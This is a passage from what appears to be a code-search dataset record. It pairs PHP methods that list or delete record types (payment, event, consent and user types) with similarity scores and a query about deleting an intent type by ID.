self::getDataSource();\n\n\t\t$strSQL = \"SELECT id,description\n\t\tFROM contact_method_type\n\t\tORDER BY description\";\n\n\t\t$result = $dataSource->query($strSQL);\n\n\t\tif(MDB2::isError($result))\n\t\t{\n\t\t\tthrow new Exception(\"Failed to get contact methods: \" . $result->getMessage());\n\t\t}\n\n\t\t$arrContactMethodTypesList = $result->fetchAll(MDB2_FETCHMODE_ASSOC);\n\t\t\n\t\treturn $arrContactMethodTypesList;\n\n\t}", "public function matches($type);", "public function matches($type);", "protected function get_option_types_capabilities() {\n\t\t$capabilities = [];\n\t\t$option_types = papi_get_all_entry_types( [\n\t\t\t'type' => 'option'\n\t\t] );\n\n\t\tforeach ( $option_types as $option_type ) {\n\t\t\t$capabilities[] = empty( $option_type->capability ) || ! is_string( $option_type->capability ) ? 'manage_options' : $option_type->capability;\n\t\t}\n\n\t\treturn array_unique( $capabilities );\n\t}", "public function getRelatedAudienceTypes() {\n\t\t$blocks = $this->Blocks();\n\t\t$relatedAudienceTypes = array();\n\t\tforeach($blocks as $block) {\n\t\t\tif(!in_array($block->AudienceType, $relatedAudienceTypes)) {\n\t\t\t\tarray_push($relatedAudienceTypes, $block->AudienceType);\n\t\t\t}\n\t\t}\n\t\treturn $relatedAudienceTypes;\n\t}", "public static function get_possible_types()\n {\n }", "public static function get_possible_types()\n {\n }", "public static function get_possible_types()\n {\n }", "public function getFeedbackTypes()\n {\n $query = \"SELECT ft.id, ft.type\n FROM feedback_types ft\n ORDER BY ft.id;\";\n\n $results = DB::select(DB::raw($query));\n\n return $results;\n }", "public static function getTypes() {\n\t\treturn [\n\t\t\t'text' => self::RESOURCE_TYPE_TEXT,\n\t\t\t'img' => self::RESOURCE_TYPE_IMG\n\t\t];\n\t}", "public function getEventTypeAllowableValues()\n {\n return [\n self::EVENT_TYPE_CREDIT_CARD,\n self::EVENT_TYPE_CASH,\n self::EVENT_TYPE_THIRD_PARTY_CARD,\n self::EVENT_TYPE_NO_SALE,\n self::EVENT_TYPE_SQUARE_WALLET,\n self::EVENT_TYPE_SQUARE_GIFT_CARD,\n self::EVENT_TYPE_UNKNOWN,\n self::EVENT_TYPE_OTHER,\n ];\n }", "public static function getRequesterTypes() {\n return [\n 'COMPANY',\n 'UNIVERSITY'\n ];\n }", "function get_requests_types(){ \n $query = $this->db->get('type_request');\n return($query->result());\n }", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_SALES_ORDER,\n self::TYPE_SALES_INVOICE,\n self::TYPE_PURCHASE_ORDER,\n self::TYPE_PURCHASE_INVOICE,\n self::TYPE_RETURN_ORDER,\n self::TYPE_RETURN_INVOICE,\n self::TYPE_INVENTORY_TRANSFER_ORDER,\n self::TYPE_INVENTORY_TRANSFER_INVOICE,\n self::TYPE_REVERSE_CHARGE_ORDER,\n self::TYPE_REVERSE_CHARGE_INVOICE,\n self::TYPE_CUSTOMS_INVOICE,\n self::TYPE_CUSTOMS_ORDER,\n self::TYPE_ANY,\n ];\n }", "public static function getTypes()\n\t{\n\t\t\n\t\treturn [\n\t\t\tself::TYPE_SHARES\t\t\t =>\t\"Shares\",\n\t\t\tself::TYPE_PROPERTY\t\t\t =>\t\"Property\",\n\t\t];\n\t\t\n\t}", "public function getTypes()\n {\n $oDb = Factory::service('Database');\n $oResult = $oDb->query('SHOW COLUMNS FROM `' . $this->table . '` LIKE \"type\"')->row();\n $sTypes = $oResult->Type;\n $sTypes = preg_replace('/enum\\((.*)\\)/', '$1', $sTypes);\n $sTypes = str_replace(\"'\", '', $sTypes);\n $aTypes = explode(',', $sTypes);\n\n $aOut = [];\n\n foreach ($aTypes as $sType) {\n $aOut[$sType] = ucwords(strtolower($sType));\n }\n\n return $aOut;\n }", "public function getInputTypesWithOptions()\n {\n $types = [];\n foreach ($this->inputTypes as $code => $inputType) {\n if ($inputType->isManageOptions()) {\n $types[] = $code;\n }\n }\n\n return $types;\n }", "public function getQueryTypeAllowableValues()\r\n {\r\n return [\r\n self::QUERY_TYPE_OVERVIEW,\r\n self::QUERY_TYPE__LIST,\r\n self::QUERY_TYPE_DETAIL,\r\n ];\r\n }", "public function getAvailableAdTypes()\n {\n $query = \"SELECT ALL FROM adv_type WHERE is_available = 'y'\";\n return $this->getQueryData($query, $this->getConnection());\n }", "public function getWidgetsByType() {\n\t\t$types = array();\n\t\tif ($this->hasParameter('widgets')) {\n\t\t\tforeach ($this->getParameter('widgets') as $name => $widget) {\n\t\t\t\t$targets = $widget['target'];\n\t\t\t\tforeach($targets as $target) {\n\t\t\t\t\tif ($target == 'all') {\n\t\t\t\t\t\t$list = Data::TYPES;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$list = [$target];\n\t\t\t\t\t}\n\t\t\t\t\tforeach ($list as $type) {\n\t\t\t\t\t\tif (! isset($types[$type])) {\n\t\t\t\t\t\t\t$types[$type] = array();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$types[$type][] = $name;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $types;\n\t}", "protected function get_media_types()\n {\n }", "public function getWidgetsByInputType() {\n\t\t$types = array();\n\t\tif ($this->hasParameter('widgets')) {\n\t\t\tforeach ($this->getParameter('widgets') as $name => $widget) {\n\t\t\t\t$inputs = $widget['input'];\n\t\t\t\tforeach($inputs as $input) {\n\t\t\t\t\tif ($input == 'all') {\n\t\t\t\t\t\t$list = ['select', 'checkbox', 'color', 'date', 'datetime-local', 'email', 'file', 'hidden', 'image', 'month', 'number', 'password', 'radio', 'range', 'search', 'tel', 'text', 'time', 'url', 'week'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$list = [$input];\n\t\t\t\t\t}\n\t\t\t\t\tforeach ($list as $type) {\n\t\t\t\t\t\tif (! isset($types[$type])) {\n\t\t\t\t\t\t\t$types[$type] = array();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$types[$type][] = $name;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $types;\n\t}", "public function types() {\n return [\n self::TYPE_NONE => 'none',\n self::TYPE_WECHAT => 'wechat',\n self::TYPE_ALIPAY => 'alipay',\n self::TYPE_CASH => 'cash',\n ];\n }", "public function getPaymentTypeAllowableValues()\n {\n return [\n self::PAYMENT_TYPE_CARD,\n self::PAYMENT_TYPE_MPO,\n self::PAYMENT_TYPE_MOBILEPAY,\n self::PAYMENT_TYPE_VIPPS,\n self::PAYMENT_TYPE_VIPPS_RECURRING,\n self::PAYMENT_TYPE_SWISH,\n self::PAYMENT_TYPE_VIABILL,\n self::PAYMENT_TYPE_ANYDAY,\n self::PAYMENT_TYPE_MANUAL,\n self::PAYMENT_TYPE_APPLEPAY,\n self::PAYMENT_TYPE_GOOGLEPAY,\n self::PAYMENT_TYPE_PAYPAL,\n self::PAYMENT_TYPE_KLARNA_PAY_NOW,\n self::PAYMENT_TYPE_KLARNA_PAY_LATER,\n self::PAYMENT_TYPE_KLARNA_SLICE_IT,\n self::PAYMENT_TYPE_KLARNA_DIRECT_BANK_TRANSFER,\n self::PAYMENT_TYPE_KLARNA_DIRECT_DEBIT,\n self::PAYMENT_TYPE_RESURS,\n self::PAYMENT_TYPE_MOBILEPAY_SUBSCRIPTIONS,\n self::PAYMENT_TYPE_EMV_TOKEN,\n self::PAYMENT_TYPE_BCMC,\n self::PAYMENT_TYPE_BLIK,\n self::PAYMENT_TYPE_PP_BLIK_OC,\n self::PAYMENT_TYPE_GIROPAY,\n self::PAYMENT_TYPE_IDEAL,\n self::PAYMENT_TYPE_P24,\n self::PAYMENT_TYPE_SEPA,\n self::PAYMENT_TYPE_VERKKOPANKKI,\n ];\n }", "private function get_type_ids($type) {\n\t\tglobal $wpdb;\n\t\treturn $wpdb->get_col($wpdb->prepare(\"SELECT `ID` FROM {$wpdb->posts} WHERE `post_type` = 'attachment' AND `post_status` = 'inherit' AND `post_mime_type` LIKE '%s/%%'\", $type));\n\t}", "public function getEventTypeAllowableValues()\n {\n return [\n self::EVENT_TYPE_ACCOUNT_CONFIRMED,\n self::EVENT_TYPE_UNKNOWN_ERROR,\n self::EVENT_TYPE_FILE_ERROR,\n self::EVENT_TYPE_SIGN_URL_INVALID,\n self::EVENT_TYPE_SIGNATURE_REQUEST_VIEWED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_SIGNED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_SENT,\n self::EVENT_TYPE_SIGNATURE_REQUEST_ALL_SIGNED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_EMAIL_BOUNCE,\n self::EVENT_TYPE_SIGNATURE_REQUEST_REMIND,\n self::EVENT_TYPE_SIGNATURE_REQUEST_INCOMPLETE_QES,\n self::EVENT_TYPE_SIGNATURE_REQUEST_DESTROYED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_CANCELED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_DOWNLOADABLE,\n self::EVENT_TYPE_SIGNATURE_REQUEST_DECLINED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_REASSIGNED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_INVALID,\n self::EVENT_TYPE_SIGNATURE_REQUEST_PREPARED,\n self::EVENT_TYPE_SIGNATURE_REQUEST_EXPIRED,\n self::EVENT_TYPE_TEMPLATE_CREATED,\n self::EVENT_TYPE_TEMPLATE_ERROR,\n self::EVENT_TYPE_CALLBACK_TEST,\n ];\n }", "public function mediaTypePermissions() {\n // Generate media permissions for all media types.\n $media_types = $this->entityTypeManager->getStorage('media_type')->loadMultiple();\n return $this->generatePermissions($media_types, [$this, 'buildPermissions']);\n }", "public function getConsentTypes()\n {\n return apply_filters('gdpr/consent/types', $this->getDefaultConsentTypes() + $this->getCustomConsentTypes());\n }", "public function getEnumValues()\n {\n return array(\n 'MTYPE_AGENT_REPORT' => self::MTYPE_AGENT_REPORT,\n 'MTYPE_AGENT_REPORT_R' => self::MTYPE_AGENT_REPORT_R,\n 'MTYPE_AGENT_HEATBEAT' => self::MTYPE_AGENT_HEATBEAT,\n 'MTYPE_CENTER_MASTER_NOTICE' => self::MTYPE_CENTER_MASTER_NOTICE,\n 'MTYPE_CENTER_MASTER_NOTICE_R' => self::MTYPE_CENTER_MASTER_NOTICE_R,\n 'MTYPE_CENTER_SUBTASK_CMD' => self::MTYPE_CENTER_SUBTASK_CMD,\n 'MTYPE_CENTER_SUBTASK_CMD_R' => self::MTYPE_CENTER_SUBTASK_CMD_R,\n 'MTYPE_AGENT_SUBTASK_PROCESS' => self::MTYPE_AGENT_SUBTASK_PROCESS,\n 'MTYPE_AGENT_SUBTASK_CMD_RESULT' => self::MTYPE_AGENT_SUBTASK_CMD_RESULT,\n 'MTYPE_AGENT_SUBTASK_CMD_RESULT_R' => self::MTYPE_AGENT_SUBTASK_CMD_RESULT_R,\n 'MTYPE_CENTER_OPR_CMD' => self::MTYPE_CENTER_OPR_CMD,\n 'MTYPE_CENTER_OPR_CMD_R' => self::MTYPE_CENTER_OPR_CMD_R,\n 'MTYPE_CENTER_AGENT_SUBTASK_OUTPUT' => self::MTYPE_CENTER_AGENT_SUBTASK_OUTPUT,\n 'MTYPE_CENTER_AGENT_SUBTASK_OUTPUT_R' => self::MTYPE_CENTER_AGENT_SUBTASK_OUTPUT_R,\n 'MTYPE_CENTER_AGENT_RUNNING_TASK' => self::MTYPE_CENTER_AGENT_RUNNING_TASK,\n 'MTYPE_CENTER_AGENT_RUNNING_TASK_R' => self::MTYPE_CENTER_AGENT_RUNNING_TASK_R,\n 'MTYPE_CENTER_AGENT_RUNNING_OPR' => self::MTYPE_CENTER_AGENT_RUNNING_OPR,\n 'MTYPE_CENTER_AGENT_RUNNING_OPR_R' => self::MTYPE_CENTER_AGENT_RUNNING_OPR_R,\n 'MTYPE_UI_AGENT_SUBTASK_OUTPUT' => self::MTYPE_UI_AGENT_SUBTASK_OUTPUT,\n 'MTYPE_UI_AGENT_SUBTASK_OUTPUT_R' => self::MTYPE_UI_AGENT_SUBTASK_OUTPUT_R,\n 'MTYPE_UI_AGENT_RUNNING_SUBTASK' => self::MTYPE_UI_AGENT_RUNNING_SUBTASK,\n 'MTYPE_UI_AGENT_RUNNING_SUBTASK_R' => self::MTYPE_UI_AGENT_RUNNING_SUBTASK_R,\n 'MTYPE_UI_AGENT_RUNNING_OPR' => self::MTYPE_UI_AGENT_RUNNING_OPR,\n 'MTYPE_UI_AGENT_RUNNING_OPR_R' => self::MTYPE_UI_AGENT_RUNNING_OPR_R,\n 'MTYPE_UI_EXEC_OPR' => self::MTYPE_UI_EXEC_OPR,\n 'MTYPE_UI_EXEC_OPR_R' => self::MTYPE_UI_EXEC_OPR_R,\n 'MTYPE_UI_EXEC_DUP_OPR' => self::MTYPE_UI_EXEC_DUP_OPR,\n 'MTYPE_UI_EXEC_DUP_OPR_R' => self::MTYPE_UI_EXEC_DUP_OPR_R,\n 'MTYPE_UI_AGENT_INFO' => self::MTYPE_UI_AGENT_INFO,\n 'MTYPE_UI_AGENT_INFO_R' => self::MTYPE_UI_AGENT_INFO_R,\n 'MTYPE_UI_INVALID_AGENT' => self::MTYPE_UI_INVALID_AGENT,\n 'MTYPE_UI_INVALID_AGENT_R' => self::MTYPE_UI_INVALID_AGENT_R,\n 'MTYPE_UI_TASK_CMD_INFO' => self::MTYPE_UI_TASK_CMD_INFO,\n 'MTYPE_UI_TASK_CMD_INFO_R' => self::MTYPE_UI_TASK_CMD_INFO_R,\n 'MTYPE_UI_OPR_CMD_INFO' => self::MTYPE_UI_OPR_CMD_INFO,\n 'MTYPE_UI_OPR_CMD_INFO_R' => self::MTYPE_UI_OPR_CMD_INFO_R,\n 'MTYPE_UI_SUBTASK_PROCESS' => self::MTYPE_UI_SUBTASK_PROCESS,\n 'MTYPE_UI_SUBTASK_PROCESS_R' => self::MTYPE_UI_SUBTASK_PROCESS_R,\n 'MTYPE_UI_EXEC_TASK' => self::MTYPE_UI_EXEC_TASK,\n 'MTYPE_UI_EXEC_TASK_R' => self::MTYPE_UI_EXEC_TASK_R,\n 'MTYPE_UI_FETCH_AGENT_HOSTNAME' => self::MTYPE_UI_FETCH_AGENT_HOSTNAME,\n 'MTYPE_UI_FETCH_AGENT_HOSTNAME_R' => self::MTYPE_UI_FETCH_AGENT_HOSTNAME_R,\n 'MTYPE_UI_AUTH_INVALID_AGENT' => self::MTYPE_UI_AUTH_INVALID_AGENT,\n 'MTYPE_UI_AUTH_INVALID_AGENT_R' => self::MTYPE_UI_AUTH_INVALID_AGENT_R,\n 'MTYPE_UI_SCRIPTS' => self::MTYPE_UI_SCRIPTS,\n 'MTYPE_UI_SCRIPTS_R' => self::MTYPE_UI_SCRIPTS_R,\n 'MTYPE_UI_SCRIPT_INFO' => self::MTYPE_UI_SCRIPT_INFO,\n 'MTYPE_UI_SCRIPT_INFO_R' => self::MTYPE_UI_SCRIPT_INFO_R,\n 'MTYPE_INVALID_MTYPE' => self::MTYPE_INVALID_MTYPE,\n 'MTYPE_CENTER_INTERNAL_CONN' => self::MTYPE_CENTER_INTERNAL_CONN,\n 'MTYPE_CENTER_INTERNAL_CONN_R' => self::MTYPE_CENTER_INTERNAL_CONN_R,\n );\n }", "public static function getTypes(): array\n {\n return self::getRelevancyTypes();\n }", "protected function getResultsByType($type)\n {\n $mapper = $this->relatedMapper->getManager()->mapper($type);\n\n $key = $mapper->getEntityMap()->getKeyName();\n\n $query = $mapper->getQuery();\n\n return $query->whereIn($key, array_keys($this->dictionary[$type]))->get();\n }", "private function getEvents($type)\r\n {\r\n if ($type == Stat::TYPE_INQUIRY) {\r\n $inqs = $this->container->get('jcs.ds')->getGroup('inquiry');\r\n return !empty($inqs) ? $inqs : [];\r\n }\r\n elseif ($type == Stat::TYPE_FAMILY_HELP) {\r\n $events = $this->container->getParameter('stat_events');\r\n\r\n return isset($events[$type]) ? $events[$type] : [];\r\n }\r\n }", "public static function getPointsRewardTypes()\n {\n return [\n self::REWARD_TYPE_POINTS,\n self::REWARD_TYPE_RANDOM_AMOUNT_OF_POINTS,\n ];\n }", "public function getProcessTypes() {\n return array(\n 'media_seller',\n 'ad_network',\n 'product',\n // Publisher is requested per publisher ID.\n 'publisher',\n );\n }", "function get_related_to_types()\n{\n $types = [\n [\n 'key' => 'general_call',\n 'lang_key' => 'General Call'\n ],\n [\n 'key' => 'cold_calling',\n 'lang_key' => 'Cold Calling'\n ],\n [\n 'key' => 'satisfaction_call',\n 'lang_key' => 'Satisfaction Call'\n ],\n [\n 'key' => 'review_call',\n 'lang_key' => 'Review Call'\n ],\n [\n 'key' => 'referral_call',\n 'lang_key' => 'Referral Call'\n ],\n [\n 'key' => 'proposal',\n 'lang_key' => 'Proposal - Related'\n ],\n [\n 'key' => 'estimate',\n 'lang_key' => 'Estimate - Related'\n ],\n ];\n\n return hooks()->apply_filters('get_related_to_types', $types);\n}", "public function getConsentTypes()\n {\n if (isset($this->project->consentTypes)) {\n $consentTypes = explode('|', $this->project->consentTypes);\n } else {\n $consentTypes = array('do not use', 'consent given');\n }\n\n return array_combine($consentTypes, $consentTypes);\n }", "public function getConsentTypes()\r\n {\r\n if (isset($this->project->consentTypes)) {\r\n $consentTypes = explode('|', $this->project->consentTypes);\r\n } else {\r\n $consentTypes = array('do not use', 'consent given');\r\n }\r\n\r\n return array_combine($consentTypes, $consentTypes);\r\n }", "public function getCustomEventTypeAllowableValues()\n {\n return [\n self::CUSTOM_EVENT_TYPE_ADD_TO_CART,\n self::CUSTOM_EVENT_TYPE_REMOVE_FROM_CART,\n self::CUSTOM_EVENT_TYPE_CHECKOUT,\n self::CUSTOM_EVENT_TYPE_CHECKOUT_OPTION,\n self::CUSTOM_EVENT_TYPE_CLICK,\n self::CUSTOM_EVENT_TYPE_VIEW_DETAIL,\n self::CUSTOM_EVENT_TYPE_PURCHASE,\n self::CUSTOM_EVENT_TYPE_REFUND,\n self::CUSTOM_EVENT_TYPE_PROMOTION_VIEW,\n self::CUSTOM_EVENT_TYPE_PROMOTION_CLICK,\n self::CUSTOM_EVENT_TYPE_ADD_TO_WISHLIST,\n self::CUSTOM_EVENT_TYPE_REMOVE_FROM_WISHLIST,\n self::CUSTOM_EVENT_TYPE_IMPRESSION,\n ];\n }", "public function getTypes(): array;", "public function getTypes(): array;", "public function listOfTypes()\n {\n $qb = $this->createQueryBuilder('b')\n ->select('b.type')\n ->distinct('b.type');\n \n $query = $qb->getquery();\n \n return $query->execute();\n }", "public function broadcastOn()\n {\n return [\n\t 'activity.' . $this->getActivityCode()\n ];\n }", "public function getTypeAllowableValues()\r\n {\r\n return [\r\n self::TYPE_OVERVIEW,\r\n self::TYPE_DETAIL,\r\n self::TYPE_NETWORK,\r\n self::TYPE_PRECHECK,\r\n self::TYPE_PROGRESS,\r\n self::TYPE_LOG,\r\n self::TYPE_COMAPRE,\r\n self::TYPE_FILE,\r\n ];\r\n }", "public static function returnAllowedInstallTypes() {}", "function getMediaTypes ()\n {\n try\n {\n $result = $this->apiCall('get',\"{$this->api['syndication_url']}/resources/mediaTypes.json\");\n return $this->createResponse($result,'get All MediaTypes');\n } catch ( Exception $e ) {\n return $this->createResponse($e,'API Call');\n }\n }", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_ATM_WITHDRAWAL,\n self::TYPE_ATM_WITHDRAWAL_REVERSAL,\n self::TYPE_BALANCE_ADJUSTMENT,\n self::TYPE_BALANCE_ROLLOVER,\n self::TYPE_BANK_TRANSFER,\n self::TYPE_CAPTURE,\n self::TYPE_CAPTURE_REVERSAL,\n self::TYPE_CARD_TRANSFER,\n self::TYPE_CHARGEBACK,\n self::TYPE_CHARGEBACK_REVERSAL,\n self::TYPE_DEPOSIT_CORRECTION,\n self::TYPE_FEE,\n self::TYPE_GRANT,\n self::TYPE_INSTALLMENT,\n self::TYPE_INSTALLMENT_REVERSAL,\n self::TYPE_INTERNAL_TRANSFER,\n self::TYPE_INVOICE_DEDUCTION,\n self::TYPE_LEFTOVER,\n self::TYPE_MANUAL_CORRECTION,\n self::TYPE_MISC_COST,\n self::TYPE_PAYMENT,\n self::TYPE_PAYMENT_COST,\n self::TYPE_REFUND,\n self::TYPE_REFUND_REVERSAL,\n self::TYPE_REPAYMENT,\n self::TYPE_RESERVE_ADJUSTMENT,\n self::TYPE_SECOND_CHARGEBACK,\n ];\n }", "public function getTargetTypes()\n {\n if (array_key_exists(\"targetTypes\", $this->_propDict)) {\n return $this->_propDict[\"targetTypes\"];\n } else {\n return null;\n }\n }", "public static function getAllowableEnumValues()\n {\n return [\n self::APP_IPHONE_65,\n self::APP_IPHONE_58,\n self::APP_IPHONE_55,\n self::APP_IPHONE_47,\n self::APP_IPHONE_40,\n self::APP_IPHONE_35,\n self::APP_IPAD_PRO_3_GEN_129,\n self::APP_IPAD_PRO_3_GEN_11,\n self::APP_IPAD_PRO_129,\n self::APP_IPAD_105,\n self::APP_IPAD_97,\n self::APP_DESKTOP,\n self::APP_WATCH_SERIES_4,\n self::APP_WATCH_SERIES_3,\n self::APP_APPLE_TV,\n self::IMESSAGE_APP_IPHONE_65,\n self::IMESSAGE_APP_IPHONE_58,\n self::IMESSAGE_APP_IPHONE_55,\n self::IMESSAGE_APP_IPHONE_47,\n self::IMESSAGE_APP_IPHONE_40,\n self::IMESSAGE_APP_IPAD_PRO_3_GEN_129,\n self::IMESSAGE_APP_IPAD_PRO_3_GEN_11,\n self::IMESSAGE_APP_IPAD_PRO_129,\n self::IMESSAGE_APP_IPAD_105,\n self::IMESSAGE_APP_IPAD_97,\n ];\n }", "public function getTypesList() {\n \t//maybe someday sorts them by course, student progress?\n \t$course_id = Auth::user()->course_id;\n Debugbar::info($course_id);\n $course = Course::find($course_id);\n Debugbar::info($course);\n $typesList = $course->questions;\n Debugbar::info($typesList);\n \treturn $typesList;\n }", "public function receivedInteractions()\n {\n return $this->morphMany('App\\Interaction', 'receiver');\n }", "protected function _get_card_types()\n\t{\n\t\treturn mod('card_type')->get_list(array('status' => 1));\n\t}", "public static function getTypes($activeOnly = false)\n {\n $sql = 'SELECT * FROM event_request_type ';\n \n if($activeOnly == true) {\n $sql .= ' WHERE active = 1 ';\n }\n \n $sql .= ' ORDER BY display_order ASC';\n \n $command = Yii::app()->db->createCommand($sql);\n return $command->queryAll(true);\n }", "public function getWantedType() {\n $accepts = $this->getHeaders('Accept');\n\n $accept = trim(explode(',', $accepts)[0]);\n\n $key = array_search($accept, self::$contentTypes);\n\n return $key ? $key : $accept;\n }", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_PURCHASE,\nself::TYPE_REFUND,\nself::TYPE_PARTIAL_REFUND, ];\n }", "public function getEventTypes()\n {\n return $this->event_types;\n }", "public function getResponds()\n {\n return $this->hasMany(Respond::className(), ['user_id' => 'id']);\n }", "public static function getAllEventTypes()\n {\n return [\n 'complete' => 'complete',\n 'fail' => 'fail'\n ];\n }", "protected function _listTypes()\n {\n global $config;\n $types = objects::types();\n\n $result = array();\n foreach ($types as $type) {\n $infos = objects::infos($type);\n $result[$type] = $infos['name'];\n }\n return $result;\n }", "public function retrieveEntityTypes()\n {\n return $this->start()->uri(\"/api/entity/type\")\n ->get()\n ->go();\n }", "public function getCustomConsentTypes()\n {\n return apply_filters('gdpr/consent/types/custom', $this->customConsentTypes);\n }", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_SETTLE,\n self::TYPE_REFUND,\n self::TYPE_AUTHORIZATION,\n ];\n }", "private function resource_type_list() {\n\n\t\t$this->load_site_settings();\n\n\t\tif($this->res_list != false) {\n\t\t\treturn $this->res_list;\n\t\t}\n\n\t\tif(is_array($this->settings['eeck_resourcetypes'])) {\n\t\t\t$this->res_list = array();\n\n\t\t\tforeach($this->settings['eeck_resourcetypes'] as $res) {\n\t\t\t\t$this->res_list[] = $res['name'];\n\t\t\t}\n\t\t}\n\n\t\treturn $this->res_list;\n\t}", "public static function getAllowableEnumValues()\n {\n return [\n self::CANCELLED,\nself::NEED_TO_BE_SENT,\nself::OPEN,\nself::RECEIVED,\nself::RETURNED,\nself::RETURNED_PAID,\nself::SENT,\nself::SENT_AND_AUTOPAID, ];\n }", "public static function openAPITypes();", "public function getAcceptExtensions();" ]
[ "0.5874368", "0.5739144", "0.5635378", "0.54883987", "0.544628", "0.5429359", "0.5382884", "0.5364097", "0.5354769", "0.5320437", "0.5309738", "0.53032357", "0.53032357", "0.5302471", "0.52848285", "0.52845263", "0.5279624", "0.517012", "0.5155771", "0.5143317", "0.5143317", "0.5143317", "0.5143317", "0.5143106", "0.51162755", "0.5076414", "0.50406176", "0.50353163", "0.5030408", "0.50075203", "0.49816507", "0.49764723", "0.49645528", "0.49366763", "0.49351835", "0.49222192", "0.4919396", "0.49073616", "0.49073616", "0.4904364", "0.4902425", "0.48855963", "0.48855963", "0.48855963", "0.48814204", "0.4870759", "0.48647416", "0.48624468", "0.48607785", "0.48584986", "0.48508474", "0.48488772", "0.4847366", "0.48218885", "0.4820607", "0.4813529", "0.4810799", "0.48085672", "0.47987595", "0.4798301", "0.479416", "0.4792929", "0.4787895", "0.47850326", "0.47835293", "0.47755238", "0.47719762", "0.47700036", "0.4767538", "0.47443044", "0.47427812", "0.4741707", "0.47413108", "0.4739596", "0.47333562", "0.47333562", "0.47329628", "0.47322112", "0.47249192", "0.47213572", "0.47200587", "0.47178438", "0.47125632", "0.47108528", "0.4708732", "0.4707887", "0.47038344", "0.46995944", "0.46926093", "0.4691699", "0.46914676", "0.46815714", "0.46770465", "0.46764645", "0.46633145", "0.46607816", "0.46603334", "0.46564597", "0.46551827", "0.4654538", "0.46529052" ]
0.0
-1
Delete Intent Type Removes an Intent Type from the System by ID Rules of Access User is an ADMIN
public function destroy(Request $request, $id) { $type = $this->service()->repo()->single($id); $this->authorize('delete', $type); /** ensure the current user has delete rights */ $this->service()->repo()->delete($id); return $this->ok(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function deleteAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Fanli_Service_Ptype::getType($id);\n\t\tif ($info && $info['id'] == 0) $this->output(-1, '无法删除');\n\t\t$result = Fanli_Service_Ptype::deleteType($id);\n\t\tif (!$result) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功');\n\t}", "public function deleteType($type){\n\t\t$user = $this->getUser();\n\t\tif(!isset($user[\"id\"])||$user[\"status\"]!=DBConfig::$userStatus[\"admin\"]){\n\t\t\treturn false;\n\t\t}\n\t\t$type = $this->getType($type);\n\t\tif(!isset($type[\"id\"]))return false;\n\t\t$query = Queries::deletetype($type[\"id\"]);\n\t\t$result = $this->query($query);\n\t\tif(!$result)return false;\n\t\t$this->log(\"@\".$user[\"id\"].\" (\".$user[\"username\"].\") deletes type $type\");\n\t\t$query = Queries::removetypefromentries($type[\"id\"]);\n\t\treturn $this->query($query);\n\t}", "public function deleteByIdType($id, $type);", "public function remove($type)\n {\n $rsp = new Response();\n\n if(!isAuthorized::isAdmin())\n {\n $rsp->setFailure(401, \"You are not authorized to do this action.\")\n ->send();\n\n return;\n }\n\n if($type === \"word\" && isset($_POST['word']))\n return $this->removeWord();\n\n if($type === \"email\" && isset($_POST['email']))\n return $this->removeEmail();\n\n $rsp->setFailure(400, \"Your request couldn't be executed. Check for wrong arguments or missing values.\")\n ->send();\n }", "public function destroy(Request $request, $id,$type = 'soft')\n {\n if(ACLHelper::hasPermission('delete_account')){\n try {\n $user = User::find($id);\n \n if($user instanceof User){\n \n $restaurants = Restaurant::withTrashed()->where('user_id',$id)->get();\n \n if(count($restaurants) > 0){\n if($type == 'force'){ \n foreach ($restaurants as $restaurant) {\n $menus = Menu::withTrashed()->where('restaurant_id',$restaurant->id)->get();\n if(count($menus) >0){ \n $menusArr = $menus->toArray();\n $ids_to_delete = array_map(function($menu){ return $menu['id']; }, $menusArr);\n $del_menu_cate = MenuFoodType::whereIn('menu_id',$ids_to_delete)->forceDelete();\n \n $menus = Menu::withTrashed()->where('restaurant_id',$restaurant->id)->forceDelete();\n }\n $restaurant->forceDelete();\n } \n\n $userPackage = UserPackage::withTrashed()->where('user_id',$id)->forceDelete(); \n \n }else{\n foreach ($restaurants as $restaurant) {\n $delMenus = Menu::where('restaurant_id',$restaurant->id)->delete();\n \n $restaurant->delete();\n } \n\n $delUserPackage = UserPackage::where('user_id',$id)->delete(); \n }\n }\n \n $del_account = ($type == 'force')?$user->forceDelete():$user->delete();\n \n Session::flash('success_message', 'User is deleted!');\n }else{\n Session::flash('fail_message', 'User is not found!');\n } \n } catch (Exception $exc) {\n Session::flash('fail_message', 'Fail! '.$exc->getTraceAsString());\n }\n \n return redirect('admin/users');\n \n }else{\n abort(404, 'Access denied!');\n } \n }", "function delete_user_type($user_type_id)\n\t\t{\n\t\t\t$eventlogbol = new eventlogbol();\n\t\t\t$old_values='';\n\t\t\t$new_values_arr = array();\n\t\t\t$new_values_arr['user_type_id'] = $user_type_id;\n\t\t\t$event_result = $eventlogbol->save_eventlog('Delete','tbl_user_type',$new_values_arr,$old_values);\n\t\t\tif($event_result)\n\t\t\t{\n\t\t\t\t$query=\"DELETE FROM tbl_user_type WHERE user_type_id=:user_type_id \";\t\t\n\t\t\t\t$result = execute_non_query($query, array(':user_type_id' => $user_type_id));\n\t\t\t\treturn $result;\n\t\t\t}\n\t\t\telse \n\t\t\t\treturn false;\n\t\t}", "function timetracking_type_delete(timetrackingType $type) {\n $type->delete();\n}", "public function removeRidPerm($uid,$rid,$type){\n\t\t$det=array(\n\t\t\t'rid'=>$rid,\n\t\t\t'uid'=>$uid,\n\t\t\t'rtype'=>$type\n\t\t);\n\t\t$this->db->delete('user_admin',$det);\n\t}", "function 